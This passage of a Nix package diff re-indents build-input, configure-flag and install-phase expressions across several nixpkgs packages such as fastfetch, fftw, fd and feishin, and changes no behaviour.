+    (lib.cmakeBool "ENABLE_RPM" rpmSupport)
 
-      (lib.cmakeBool "ENABLE_DRM" (!x11Support && !waylandSupport))
-      (lib.cmakeBool "ENABLE_DRM_AMDGPU" (!x11Support && !waylandSupport))
+    (lib.cmakeBool "ENABLE_DRM" (!x11Support && !waylandSupport))
+    (lib.cmakeBool "ENABLE_DRM_AMDGPU" (!x11Support && !waylandSupport))
 
-      (lib.cmakeBool "ENABLE_VULKAN" vulkanSupport)
+    (lib.cmakeBool "ENABLE_VULKAN" vulkanSupport)
 
-      (lib.cmakeBool "ENABLE_WAYLAND" waylandSupport)
+    (lib.cmakeBool "ENABLE_WAYLAND" waylandSupport)
 
-      (lib.cmakeBool "ENABLE_XCB_RANDR" x11Support)
-      (lib.cmakeBool "ENABLE_XRANDR" x11Support)
+    (lib.cmakeBool "ENABLE_XCB_RANDR" x11Support)
+    (lib.cmakeBool "ENABLE_XRANDR" x11Support)
 
-      (lib.cmakeBool "ENABLE_XFCONF" xfceSupport)
+    (lib.cmakeBool "ENABLE_XFCONF" xfceSupport)
 
-      (lib.cmakeOptionType "filepath" "CUSTOM_PCI_IDS_PATH" "${hwdata}/share/hwdata/pci.ids")
-      (lib.cmakeOptionType "filepath" "CUSTOM_AMDGPU_IDS_PATH" "${libdrm}/share/libdrm/amdgpu.ids")
-    ];
+    (lib.cmakeOptionType "filepath" "CUSTOM_PCI_IDS_PATH" "${hwdata}/share/hwdata/pci.ids")
+    (lib.cmakeOptionType "filepath" "CUSTOM_AMDGPU_IDS_PATH" "${libdrm}/share/libdrm/amdgpu.ids")
+  ];
 
   postPatch = ''
     substituteInPlace completions/fastfetch.{bash,fish,zsh} --replace-fail python3 '${python3.interpreter}'
   '';
 
-  postInstall =
-    ''
-      wrapProgram $out/bin/fastfetch \
-        --prefix LD_LIBRARY_PATH : "${lib.makeLibraryPath finalAttrs.buildInputs}"
-    ''
-    + lib.optionalString flashfetchSupport ''
-      wrapProgram $out/bin/flashfetch \
-        --prefix LD_LIBRARY_PATH : "${lib.makeLibraryPath finalAttrs.buildInputs}"
-    '';
+  postInstall = ''
+    wrapProgram $out/bin/fastfetch \
+      --prefix LD_LIBRARY_PATH : "${lib.makeLibraryPath finalAttrs.buildInputs}"
+  ''
+  + lib.optionalString flashfetchSupport ''
+    wrapProgram $out/bin/flashfetch \
+      --prefix LD_LIBRARY_PATH : "${lib.makeLibraryPath finalAttrs.buildInputs}"
+  '';
 
   nativeInstallCheckInputs = [ versionCheckHook ];
   versionCheckProgramArg = "--version";
diff --git a/pkgs/by-name/fa/fastjet/package.nix b/pkgs/by-name/fa/fastjet/package.nix
index 4ca40d8af55d..c09fc2999519 100644
--- a/pkgs/by-name/fa/fastjet/package.nix
+++ b/pkgs/by-name/fa/fastjet/package.nix
@@ -31,7 +31,8 @@ stdenv.mkDerivation rec {
 
   configureFlags = [
     "--enable-allcxxplugins"
-  ] ++ lib.optional withPython "--enable-pyext";
+  ]
+  ++ lib.optional withPython "--enable-pyext";
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/fa/fastnlo-toolkit/package.nix b/pkgs/by-name/fa/fastnlo-toolkit/package.nix
index 77c605f5d363..3756f25051e0 100644
--- a/pkgs/by-name/fa/fastnlo-toolkit/package.nix
+++ b/pkgs/by-name/fa/fastnlo-toolkit/package.nix
@@ -37,25 +37,24 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     lhapdf # lhapdf-config
     yoda # yoda-config
-  ] ++ lib.optional withPython python;
+  ]
+  ++ lib.optional withPython python;
 
-  buildInputs =
-    [
-      boost
-      lhapdf
-      yoda
-    ]
-    ++ lib.optional withPython python
-    ++ lib.optional (withPython && python.isPy3k) ncurses;
+  buildInputs = [
+    boost
+    lhapdf
+    yoda
+  ]
+  ++ lib.optional withPython python
+  ++ lib.optional (withPython && python.isPy3k) ncurses;
 
   propagatedNativeBuildInputs = lib.optional withPython [ swig ];
-  propagatedBuildInputs =
-    [
-      zlib
-    ]
-    ++ lib.optional withPython [
-      python.pkgs.distutils
-    ];
+  propagatedBuildInputs = [
+    zlib
+  ]
+  ++ lib.optional withPython [
+    python.pkgs.distutils
+  ];
 
   preConfigure = ''
     substituteInPlace ./fastnlotoolkit/Makefile.in \
@@ -68,7 +67,8 @@ stdenv.mkDerivation rec {
 
   configureFlags = [
     "--with-yoda=${yoda}"
-  ] ++ lib.optional withPython "--enable-pyext";
+  ]
+  ++ lib.optional withPython "--enable-pyext";
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/fa/fastqc/package.nix b/pkgs/by-name/fa/fastqc/package.nix
index 13c76f5b3bfe..e681f0ce2535 100644
--- a/pkgs/by-name/fa/fastqc/package.nix
+++ b/pkgs/by-name/fa/fastqc/package.nix
@@ -23,13 +23,12 @@ stdenv.mkDerivation (finalAttrs: {
 
   dontBuild = true;
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-      imagemagick
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux copyDesktopItems # postInstallHook
-    ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle; # fixupOutputHook
+  nativeBuildInputs = [
+    makeWrapper
+    imagemagick
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux copyDesktopItems # postInstallHook
+  ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle; # fixupOutputHook
   buildInputs = [
     jre
     perl
diff --git a/pkgs/by-name/fa/fatrop/package.nix b/pkgs/by-name/fa/fatrop/package.nix
index f575b763d04a..554a8f52cbdf 100644
--- a/pkgs/by-name/fa/fatrop/package.nix
+++ b/pkgs/by-name/fa/fatrop/package.nix
@@ -21,10 +21,11 @@ stdenv.mkDerivation (finalAttrs: {
   };
 
   nativeBuildInputs = [ cmake ];
-  buildInputs =
-    [ blasfeo ]
-    ++ lib.optionals pythonSupport [ python3Packages.pybind11 ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ llvmPackages.openmp ];
+  buildInputs = [
+    blasfeo
+  ]
+  ++ lib.optionals pythonSupport [ python3Packages.pybind11 ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ llvmPackages.openmp ];
 
   cmakeFlags = [
     (lib.cmakeBool "BUILD_DOCS" true)
diff --git a/pkgs/by-name/fb/fbthrift/package.nix b/pkgs/by-name/fb/fbthrift/package.nix
index 1987f574e7f4..b7b683352d5b 100644
--- a/pkgs/by-name/fb/fbthrift/package.nix
+++ b/pkgs/by-name/fb/fbthrift/package.nix
@@ -83,26 +83,25 @@ stdenv.mkDerivation (finalAttrs: {
     xxHash
   ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_SHARED_LIBS" (!stdenv.hostPlatform.isStatic))
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_SHARED_LIBS" (!stdenv.hostPlatform.isStatic))
 
-      (lib.cmakeBool "thriftpy" false)
+    (lib.cmakeBool "thriftpy" false)
 
-      # TODO: Can’t figure out where the C++ tests are wired up in the
-      # CMake build, if anywhere, and this requires Python.
-      #(lib.cmakeBool "enable_tests" finalAttrs.finalPackage.doCheck)
+    # TODO: Can’t figure out where the C++ tests are wired up in the
+    # CMake build, if anywhere, and this requires Python.
+    #(lib.cmakeBool "enable_tests" finalAttrs.finalPackage.doCheck)
 
-      (lib.cmakeFeature "BIN_INSTALL_DIR" "${placeholder "out"}/bin")
-      (lib.cmakeFeature "INCLUDE_INSTALL_DIR" "${placeholder "out"}/include")
-      (lib.cmakeFeature "LIB_INSTALL_DIR" "${placeholder "lib"}/lib")
-      (lib.cmakeFeature "CMAKE_INSTALL_DIR" "${placeholder "out"}/lib/cmake/fbthrift")
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Homebrew sets this, and the shared library build fails without
-      # it. I don‘t know, either. It scares me.
-      (lib.cmakeFeature "CMAKE_SHARED_LINKER_FLAGS" "-Wl,-undefined,dynamic_lookup")
-    ];
+    (lib.cmakeFeature "BIN_INSTALL_DIR" "${placeholder "out"}/bin")
+    (lib.cmakeFeature "INCLUDE_INSTALL_DIR" "${placeholder "out"}/include")
+    (lib.cmakeFeature "LIB_INSTALL_DIR" "${placeholder "lib"}/lib")
+    (lib.cmakeFeature "CMAKE_INSTALL_DIR" "${placeholder "out"}/lib/cmake/fbthrift")
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Homebrew sets this, and the shared library build fails without
+    # it. I don‘t know, either. It scares me.
+    (lib.cmakeFeature "CMAKE_SHARED_LINKER_FLAGS" "-Wl,-undefined,dynamic_lookup")
+  ];
 
   postFixup = ''
     # Sanitize header paths to avoid runtime dependencies leaking in
diff --git a/pkgs/by-name/fc/fcft/package.nix b/pkgs/by-name/fc/fcft/package.nix
index be0327dcc688..2e977571505d 100644
--- a/pkgs/by-name/fc/fcft/package.nix
+++ b/pkgs/by-name/fc/fcft/package.nix
@@ -50,26 +50,24 @@ stdenv.mkDerivation rec {
     ninja
     scdoc
   ];
-  buildInputs =
-    [
-      freetype
-      fontconfig
-      nanosvg
-      pixman
-      tllist
-    ]
-    ++ lib.optionals (withShapingTypes != [ ]) [ harfbuzz ]
-    ++ lib.optionals (builtins.elem "run" withShapingTypes) [ utf8proc ];
+  buildInputs = [
+    freetype
+    fontconfig
+    nanosvg
+    pixman
+    tllist
+  ]
+  ++ lib.optionals (withShapingTypes != [ ]) [ harfbuzz ]
+  ++ lib.optionals (builtins.elem "run" withShapingTypes) [ utf8proc ];
   nativeCheckInputs = [ check ];
 
   mesonBuildType = "release";
-  mesonFlags =
-    [
-      (lib.mesonEnable "system-nanosvg" true)
-    ]
-    ++ builtins.map (
-      t: lib.mesonEnable "${t}-shaping" (lib.elem t withShapingTypes)
-    ) availableShapingTypes;
+  mesonFlags = [
+    (lib.mesonEnable "system-nanosvg" true)
+  ]
+  ++ builtins.map (
+    t: lib.mesonEnable "${t}-shaping" (lib.elem t withShapingTypes)
+  ) availableShapingTypes;
 
   doCheck = true;
 
diff --git a/pkgs/by-name/fd/fd/package.nix b/pkgs/by-name/fd/fd/package.nix
index 13c16bcff36a..42706a9a575e 100644
--- a/pkgs/by-name/fd/fd/package.nix
+++ b/pkgs/by-name/fd/fd/package.nix
@@ -35,16 +35,15 @@ rustPlatform.buildRustPackage rec {
     "--skip=test_invalid_utf8"
   ];
 
-  postInstall =
-    ''
-      installManPage doc/fd.1
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd fd \
-        --bash <($out/bin/fd --gen-completions bash) \
-        --fish <($out/bin/fd --gen-completions fish)
-      installShellCompletion --zsh contrib/completion/_fd
-    '';
+  postInstall = ''
+    installManPage doc/fd.1
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd fd \
+      --bash <($out/bin/fd --gen-completions bash) \
+      --fish <($out/bin/fd --gen-completions fish)
+    installShellCompletion --zsh contrib/completion/_fd
+  '';
 
   passthru.tests.version = testers.testVersion {
     package = fd;
diff --git a/pkgs/by-name/fe/feather/package.nix b/pkgs/by-name/fe/feather/package.nix
index 8c715b25df18..f23bb0f1fc99 100644
--- a/pkgs/by-name/fe/feather/package.nix
+++ b/pkgs/by-name/fe/feather/package.nix
@@ -40,27 +40,26 @@ stdenv.mkDerivation (finalAttrs: {
     qt6.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      bc-ur
-      boost186
-      hidapi
-      libsodium
-      libusb1
-      openssl
-      protobuf
-      qrencode
-      unbound
-      zxing-cpp
-    ]
-    ++ (with qt6; [
-      qtbase
-      qtmultimedia
-      qtsvg
-      qttools
-      qtwayland
-      qtwebsockets
-    ]);
+  buildInputs = [
+    bc-ur
+    boost186
+    hidapi
+    libsodium
+    libusb1
+    openssl
+    protobuf
+    qrencode
+    unbound
+    zxing-cpp
+  ]
+  ++ (with qt6; [
+    qtbase
+    qtmultimedia
+    qtsvg
+    qttools
+    qtwayland
+    qtwebsockets
+  ]);
 
   cmakeFlags = [
     "-DProtobuf_INCLUDE_DIR=${lib.getDev protobuf}/include"
diff --git a/pkgs/by-name/fe/febio-studio/package.nix b/pkgs/by-name/fe/febio-studio/package.nix
index aecec37c9523..09613f96e9b3 100644
--- a/pkgs/by-name/fe/febio-studio/package.nix
+++ b/pkgs/by-name/fe/febio-studio/package.nix
@@ -43,14 +43,15 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  cmakeFlags =
-    [ (lib.cmakeFeature "Qt_Root" "${qt6Packages.qtbase}") ]
-    ++ lib.optional sshSupport "-DUSE_SSH=On"
-    ++ lib.optional tetgenSupport "-DUSE_TETGEN=On"
-    ++ lib.optional ffmpegSupport "-DUSE_FFMPEG=On"
-    ++ lib.optional dicomSupport "-DUSE_DICOM=On"
-    ++ lib.optional withModelRepo "-DMODEL_REPO=On"
-    ++ lib.optional withCadFeatures "-DCAD_FEATURES=On";
+  cmakeFlags = [
+    (lib.cmakeFeature "Qt_Root" "${qt6Packages.qtbase}")
+  ]
+  ++ lib.optional sshSupport "-DUSE_SSH=On"
+  ++ lib.optional tetgenSupport "-DUSE_TETGEN=On"
+  ++ lib.optional ffmpegSupport "-DUSE_FFMPEG=On"
+  ++ lib.optional dicomSupport "-DUSE_DICOM=On"
+  ++ lib.optional withModelRepo "-DMODEL_REPO=On"
+  ++ lib.optional withCadFeatures "-DCAD_FEATURES=On";
 
   nativeBuildInputs = [
     cmake
@@ -58,21 +59,20 @@ stdenv.mkDerivation (finalAttrs: {
     qt6Packages.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      zlib
-      libGLU
-      glew
-      qt6Packages.qtbase
-      febio
-    ]
-    ++ lib.optionals sshSupport [
-      openssl
-      libssh
-    ]
-    ++ lib.optional tetgenSupport tetgen
-    ++ lib.optional ffmpegSupport ffmpeg
-    ++ lib.optional dicomSupport dcmtk;
+  buildInputs = [
+    zlib
+    libGLU
+    glew
+    qt6Packages.qtbase
+    febio
+  ]
+  ++ lib.optionals sshSupport [
+    openssl
+    libssh
+  ]
+  ++ lib.optional tetgenSupport tetgen
+  ++ lib.optional ffmpegSupport ffmpeg
+  ++ lib.optional dicomSupport dcmtk;
 
   meta = {
     description = "FEBio Suite Solver";
diff --git a/pkgs/by-name/fe/fedistar/package.nix b/pkgs/by-name/fe/fedistar/package.nix
index 354f864a08a8..8ff1fb53244f 100644
--- a/pkgs/by-name/fe/fedistar/package.nix
+++ b/pkgs/by-name/fe/fedistar/package.nix
@@ -79,12 +79,13 @@ rustPlatform.buildRustPackage {
     wrapGAppsHook4
   ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenvNoCC.hostPlatform.isLinux [
-      glib-networking
-      webkitgtk_4_1
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenvNoCC.hostPlatform.isLinux [
+    glib-networking
+    webkitgtk_4_1
+  ];
 
   doCheck = false; # This version's tests do not pass
 
diff --git a/pkgs/by-name/fe/feedgnuplot/package.nix b/pkgs/by-name/fe/feedgnuplot/package.nix
index 9d1590ba947b..9b1f5e7380e3 100644
--- a/pkgs/by-name/fe/feedgnuplot/package.nix
+++ b/pkgs/by-name/fe/feedgnuplot/package.nix
@@ -34,18 +34,18 @@ perlPackages.buildPerlPackage rec {
   nativeBuildInputs = [
     makeWrapper
     installShellFiles
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin shortenPerlShebang;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin shortenPerlShebang;
 
-  buildInputs =
-    [
-      gnuplot
-      perl
-    ]
-    ++ (with perlPackages; [
-      ListMoreUtils
-      IPCRun
-      StringShellQuote
-    ]);
+  buildInputs = [
+    gnuplot
+    perl
+  ]
+  ++ (with perlPackages; [
+    ListMoreUtils
+    IPCRun
+    StringShellQuote
+  ]);
 
   # Fontconfig error: Cannot load default config file
   FONTCONFIG_FILE = fontsConf;
diff --git a/pkgs/by-name/fe/feishin/package.nix b/pkgs/by-name/fe/feishin/package.nix
index 96d7ee142fd4..fd3aa2177d2b 100644
--- a/pkgs/by-name/fe/feishin/package.nix
+++ b/pkgs/by-name/fe/feishin/package.nix
@@ -37,21 +37,20 @@ buildNpmPackage {
     lib.optionals (stdenv.hostPlatform.isLinux) [ copyDesktopItems ]
     ++ lib.optionals stdenv.hostPlatform.isDarwin [ darwin.autoSignDarwinBinariesHook ];
 
-  postPatch =
-    ''
-      # release/app dependencies are installed on preConfigure
-      substituteInPlace package.json \
-        --replace-fail "electron-builder install-app-deps &&" ""
+  postPatch = ''
+    # release/app dependencies are installed on preConfigure
+    substituteInPlace package.json \
+      --replace-fail "electron-builder install-app-deps &&" ""
 
-      # Don't check for updates.
-      substituteInPlace src/main/main.ts \
-        --replace-fail "autoUpdater.checkForUpdatesAndNotify();" ""
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      # https://github.com/electron/electron/issues/31121
-      substituteInPlace src/main/main.ts \
-        --replace-fail "process.resourcesPath" "'$out/share/feishin/resources'"
-    '';
+    # Don't check for updates.
+    substituteInPlace src/main/main.ts \
+      --replace-fail "autoUpdater.checkForUpdatesAndNotify();" ""
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    # https://github.com/electron/electron/issues/31121
+    substituteInPlace src/main/main.ts \
+      --replace-fail "process.resourcesPath" "'$out/share/feishin/resources'"
+  '';
 
   preConfigure =
     let
@@ -95,40 +94,39 @@ buildNpmPackage {
         -c.npmRebuild=false
     '';
 
-  installPhase =
-    ''
-      runHook preInstall
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/{Applications,bin}
-      cp -r release/build/**/Feishin.app $out/Applications/
-      makeWrapper $out/Applications/Feishin.app/Contents/MacOS/Feishin $out/bin/feishin
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      mkdir -p $out/share/feishin
-      pushd release/build/*/
-      cp -r locales resources{,.pak} $out/share/feishin
-      popd
+  installPhase = ''
+    runHook preInstall
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/{Applications,bin}
+    cp -r release/build/**/Feishin.app $out/Applications/
+    makeWrapper $out/Applications/Feishin.app/Contents/MacOS/Feishin $out/bin/feishin
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    mkdir -p $out/share/feishin
+    pushd release/build/*/
+    cp -r locales resources{,.pak} $out/share/feishin
+    popd
 
-      # Code relies on checking app.isPackaged, which returns false if the executable is electron.
-      # Set ELECTRON_FORCE_IS_PACKAGED=1.
-      # https://github.com/electron/electron/issues/35153#issuecomment-1202718531
-      makeWrapper ${lib.getExe electron} $out/bin/feishin \
-        --add-flags $out/share/feishin/resources/app.asar \
-        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
-        --set ELECTRON_FORCE_IS_PACKAGED=1 \
-        --inherit-argv0
+    # Code relies on checking app.isPackaged, which returns false if the executable is electron.
+    # Set ELECTRON_FORCE_IS_PACKAGED=1.
+    # https://github.com/electron/electron/issues/35153#issuecomment-1202718531
+    makeWrapper ${lib.getExe electron} $out/bin/feishin \
+      --add-flags $out/share/feishin/resources/app.asar \
+      --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
+      --set ELECTRON_FORCE_IS_PACKAGED=1 \
+      --inherit-argv0
 
-      for size in 32 64 128 256 512 1024; do
-        mkdir -p $out/share/icons/hicolor/"$size"x"$size"/apps
-        ln -s \
-          $out/share/feishin/resources/assets/icons/"$size"x"$size".png \
-          $out/share/icons/hicolor/"$size"x"$size"/apps/feishin.png
-      done
-    ''
-    + ''
-      runHook postInstall
-    '';
+    for size in 32 64 128 256 512 1024; do
+      mkdir -p $out/share/icons/hicolor/"$size"x"$size"/apps
+      ln -s \
+        $out/share/feishin/resources/assets/icons/"$size"x"$size".png \
+        $out/share/icons/hicolor/"$size"x"$size"/apps/feishin.png
+    done
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   desktopItems = [
     (makeDesktopItem {
diff --git a/pkgs/by-name/fe/ferrishot/package.nix b/pkgs/by-name/fe/ferrishot/package.nix
index ef4dfe09093d..942ffdc21dee 100644
--- a/pkgs/by-name/fe/ferrishot/package.nix
+++ b/pkgs/by-name/fe/ferrishot/package.nix
@@ -27,14 +27,13 @@ rustPlatform.buildRustPackage (finalAttrs: {
   useFetchCargoVendor = true;
   cargoHash = "sha256-TJWS8LzLTQSr+0uw0x38mNJrjYvMzr90URYI8UcRQqc=";
 
-  nativeBuildInputs =
-    [
-      makeBinaryWrapper
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # error: unable to open output file '/homeless-shelter/.cache/clang/ModuleCache/354UBE8EJRBZ3/Cocoa-31YYBL2V1XGQP.pcm': 'No such file or directory'
-      writableTmpDirAsHomeHook
-    ];
+  nativeBuildInputs = [
+    makeBinaryWrapper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # error: unable to open output file '/homeless-shelter/.cache/clang/ModuleCache/354UBE8EJRBZ3/Cocoa-31YYBL2V1XGQP.pcm': 'No such file or directory'
+    writableTmpDirAsHomeHook
+  ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [
     libxcb
@@ -42,15 +41,14 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   postInstall =
     let
-      runtimeDeps =
-        [
-          libGL
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isLinux [
-          libX11
-          libxkbcommon
-          wayland
-        ];
+      runtimeDeps = [
+        libGL
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isLinux [
+        libX11
+        libxkbcommon
+        wayland
+      ];
     in
     ''
       wrapProgram $out/bin/ferrishot \
diff --git a/pkgs/by-name/fe/fex/package.nix b/pkgs/by-name/fe/fex/package.nix
index 1d7c20707fe1..713cbf684d17 100644
--- a/pkgs/by-name/fe/fex/package.nix
+++ b/pkgs/by-name/fe/fex/package.nix
@@ -66,17 +66,16 @@ llvmPackages.stdenv.mkDerivation (finalAttrs: {
 
   nativeCheckInputs = [ nasm ];
 
-  buildInputs =
-    [
-      xxHash
-      fmt
-    ]
-    ++ (with qt5; [
-      qtbase
-      qtdeclarative
-      qtquickcontrols
-      qtquickcontrols2
-    ]);
+  buildInputs = [
+    xxHash
+    fmt
+  ]
+  ++ (with qt5; [
+    qtbase
+    qtdeclarative
+    qtquickcontrols
+    qtquickcontrols2
+  ]);
 
   cmakeFlags = [
     (lib.cmakeFeature "CMAKE_BUILD_TYPE" "Release")
diff --git a/pkgs/by-name/ff/fflas-ffpack/package.nix b/pkgs/by-name/ff/fflas-ffpack/package.nix
index ca1f53c63f7a..98a5b5b9e58d 100644
--- a/pkgs/by-name/ff/fflas-ffpack/package.nix
+++ b/pkgs/by-name/ff/fflas-ffpack/package.nix
@@ -32,7 +32,8 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     autoreconfHook
     pkg-config
-  ] ++ lib.optionals doCheck nativeCheckInputs;
+  ]
+  ++ lib.optionals doCheck nativeCheckInputs;
 
   buildInputs = [
     givaro
@@ -40,27 +41,26 @@ stdenv.mkDerivation rec {
     lapack
   ];
 
-  configureFlags =
-    [
-      "--with-blas-libs=-lcblas"
-      "--with-lapack-libs=-llapacke"
-      "--without-archnative"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isx86_64 [
-      # disable SIMD instructions (which are enabled *when available* by default)
-      # for now we need to be careful to disable *all* relevant versions of an instruction set explicitly (https://github.com/linbox-team/fflas-ffpack/issues/284)
-      "--${if stdenv.hostPlatform.sse3Support then "enable" else "disable"}-sse3"
-      "--${if stdenv.hostPlatform.ssse3Support then "enable" else "disable"}-ssse3"
-      "--${if stdenv.hostPlatform.sse4_1Support then "enable" else "disable"}-sse41"
-      "--${if stdenv.hostPlatform.sse4_2Support then "enable" else "disable"}-sse42"
-      "--${if stdenv.hostPlatform.avxSupport then "enable" else "disable"}-avx"
-      "--${if stdenv.hostPlatform.avx2Support then "enable" else "disable"}-avx2"
-      "--${if stdenv.hostPlatform.avx512Support then "enable" else "disable"}-avx512f"
-      "--${if stdenv.hostPlatform.avx512Support then "enable" else "disable"}-avx512dq"
-      "--${if stdenv.hostPlatform.avx512Support then "enable" else "disable"}-avx512vl"
-      "--${if stdenv.hostPlatform.fmaSupport then "enable" else "disable"}-fma"
-      "--${if stdenv.hostPlatform.fma4Support then "enable" else "disable"}-fma4"
-    ];
+  configureFlags = [
+    "--with-blas-libs=-lcblas"
+    "--with-lapack-libs=-llapacke"
+    "--without-archnative"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isx86_64 [
+    # disable SIMD instructions (which are enabled *when available* by default)
+    # for now we need to be careful to disable *all* relevant versions of an instruction set explicitly (https://github.com/linbox-team/fflas-ffpack/issues/284)
+    "--${if stdenv.hostPlatform.sse3Support then "enable" else "disable"}-sse3"
+    "--${if stdenv.hostPlatform.ssse3Support then "enable" else "disable"}-ssse3"
+    "--${if stdenv.hostPlatform.sse4_1Support then "enable" else "disable"}-sse41"
+    "--${if stdenv.hostPlatform.sse4_2Support then "enable" else "disable"}-sse42"
+    "--${if stdenv.hostPlatform.avxSupport then "enable" else "disable"}-avx"
+    "--${if stdenv.hostPlatform.avx2Support then "enable" else "disable"}-avx2"
+    "--${if stdenv.hostPlatform.avx512Support then "enable" else "disable"}-avx512f"
+    "--${if stdenv.hostPlatform.avx512Support then "enable" else "disable"}-avx512dq"
+    "--${if stdenv.hostPlatform.avx512Support then "enable" else "disable"}-avx512vl"
+    "--${if stdenv.hostPlatform.fmaSupport then "enable" else "disable"}-fma"
+    "--${if stdenv.hostPlatform.fma4Support then "enable" else "disable"}-fma4"
+  ];
   doCheck = true;
 
   meta = with lib; {
diff --git a/pkgs/by-name/ff/ffsend/package.nix b/pkgs/by-name/ff/ffsend/package.nix
index 062fa92567a5..ad64d10cbdaf 100644
--- a/pkgs/by-name/ff/ffsend/package.nix
+++ b/pkgs/by-name/ff/ffsend/package.nix
@@ -67,7 +67,8 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [
     installShellFiles
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ pkg-config ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ pkg-config ];
   buildInputs = lib.optionals (!stdenv.hostPlatform.isDarwin) [ openssl ];
 
   preBuild = lib.optionalString (x11Support && usesX11) (
diff --git a/pkgs/by-name/ff/fftw/package.nix b/pkgs/by-name/ff/fftw/package.nix
index f41573a3dc55..4c34f1c330af 100644
--- a/pkgs/by-name/ff/fftw/package.nix
+++ b/pkgs/by-name/ff/fftw/package.nix
@@ -44,7 +44,8 @@ stdenv.mkDerivation (finalAttrs: {
     "out"
     "dev"
     "man"
-  ] ++ lib.optional withDoc "info"; # it's dev-doc only
+  ]
+  ++ lib.optional withDoc "info"; # it's dev-doc only
   outputBin = "dev"; # fftw-wisdom
 
   nativeBuildInputs = [ gfortran ];
@@ -56,22 +57,21 @@ stdenv.mkDerivation (finalAttrs: {
     ]
     ++ lib.optional enableMpi mpi;
 
-  configureFlags =
-    [
-      "--enable-shared"
-      "--enable-threads"
-      "--enable-openmp"
-    ]
+  configureFlags = [
+    "--enable-shared"
+    "--enable-threads"
+    "--enable-openmp"
+  ]
 
-    ++ lib.optional (precision != "double") "--enable-${precision}"
-    # https://www.fftw.org/fftw3_doc/SIMD-alignment-and-fftw_005fmalloc.html
-    # FFTW will try to detect at runtime whether the CPU supports these extensions
-    ++ lib.optional (
-      stdenv.hostPlatform.isx86_64 && (precision == "single" || precision == "double")
-    ) "--enable-sse2 --enable-avx --enable-avx2 --enable-avx512 --enable-avx128-fma"
-    ++ lib.optional enableMpi "--enable-mpi"
-    # doc generation causes Fortran wrapper generation which hard-codes gcc
-    ++ lib.optional (!withDoc) "--disable-doc";
+  ++ lib.optional (precision != "double") "--enable-${precision}"
+  # https://www.fftw.org/fftw3_doc/SIMD-alignment-and-fftw_005fmalloc.html
+  # FFTW will try to detect at runtime whether the CPU supports these extensions
+  ++ lib.optional (
+    stdenv.hostPlatform.isx86_64 && (precision == "single" || precision == "double")
+  ) "--enable-sse2 --enable-avx --enable-avx2 --enable-avx512 --enable-avx128-fma"
+  ++ lib.optional enableMpi "--enable-mpi"
+  # doc generation causes Fortran wrapper generation which hard-codes gcc
+  ++ lib.optional (!withDoc) "--disable-doc";
 
   # fftw builds with -mtune=native by default
   postPatch = ''
diff --git a/pkgs/by-name/fh/fheroes2/package.nix b/pkgs/by-name/fh/fheroes2/package.nix
index b7d9455064b4..8a4798f25df9 100644
--- a/pkgs/by-name/fh/fheroes2/package.nix
+++ b/pkgs/by-name/fh/fheroes2/package.nix
@@ -38,7 +38,8 @@ stdenv.mkDerivation rec {
     SDL2_mixer
     SDL2_ttf
     zlib
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 
   makeFlags = [
     "FHEROES2_STRICT_COMPILATION=1"
diff --git a/pkgs/by-name/fi/fido2-manage/package.nix b/pkgs/by-name/fi/fido2-manage/package.nix
index b6440098e92f..1ef502ef96f0 100644
--- a/pkgs/by-name/fi/fido2-manage/package.nix
+++ b/pkgs/by-name/fi/fido2-manage/package.nix
@@ -43,44 +43,41 @@ stdenv.mkDerivation rec {
